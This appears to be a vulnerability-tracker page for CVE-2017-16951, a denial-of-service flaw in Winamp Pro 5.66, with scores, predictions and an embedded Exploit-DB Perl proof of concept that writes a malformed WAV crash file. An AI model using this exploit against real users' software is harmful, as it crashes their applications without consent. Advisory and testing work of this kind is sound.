CVE-2017-16951

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Published 2017-11-28 · Modified 2026-05-13

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CVSS v3

5.5

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

6.5

Description

Winamp Pro 5.66 Build 3512 allows remote attackers to cause a denial of service via a crafted WAV, WMV, AU, ASF, AIFF, or AIF file.

Predictions

Exploit likelihood

55%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43186 dos windows perl · 1 KB

R.Yavari · 2017-11-22

Winamp Pro 5.66.Build.3512 - Denial of Service

perl exploit Source: Exploit-DB

#!/usr/bin/perl
# Exploit Title: Winamp Pro (.wav|.wmv|.au|.asf|.aiff|.aif ) Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v5.66.Build.3512
# Tested on: Windows 10 , Windows 7
# other version should be affected
# CVE-2017-16951
# http://meggamusic.co.uk/winamp/winamp5666_full_en-us_redux.exe
# (D.P)
open(code, ">winamp.wav") || die "can't create crash sample.$!";
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .
"\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .
"\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .
"\x13\x00\x13\x00\x12\x00\x14\x00\x14\x00";


print code $data;
 
close(code);

Application impact

Vendor	Product	Versions	Fixed
audiovalley	winamp_pro	`5.66`

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

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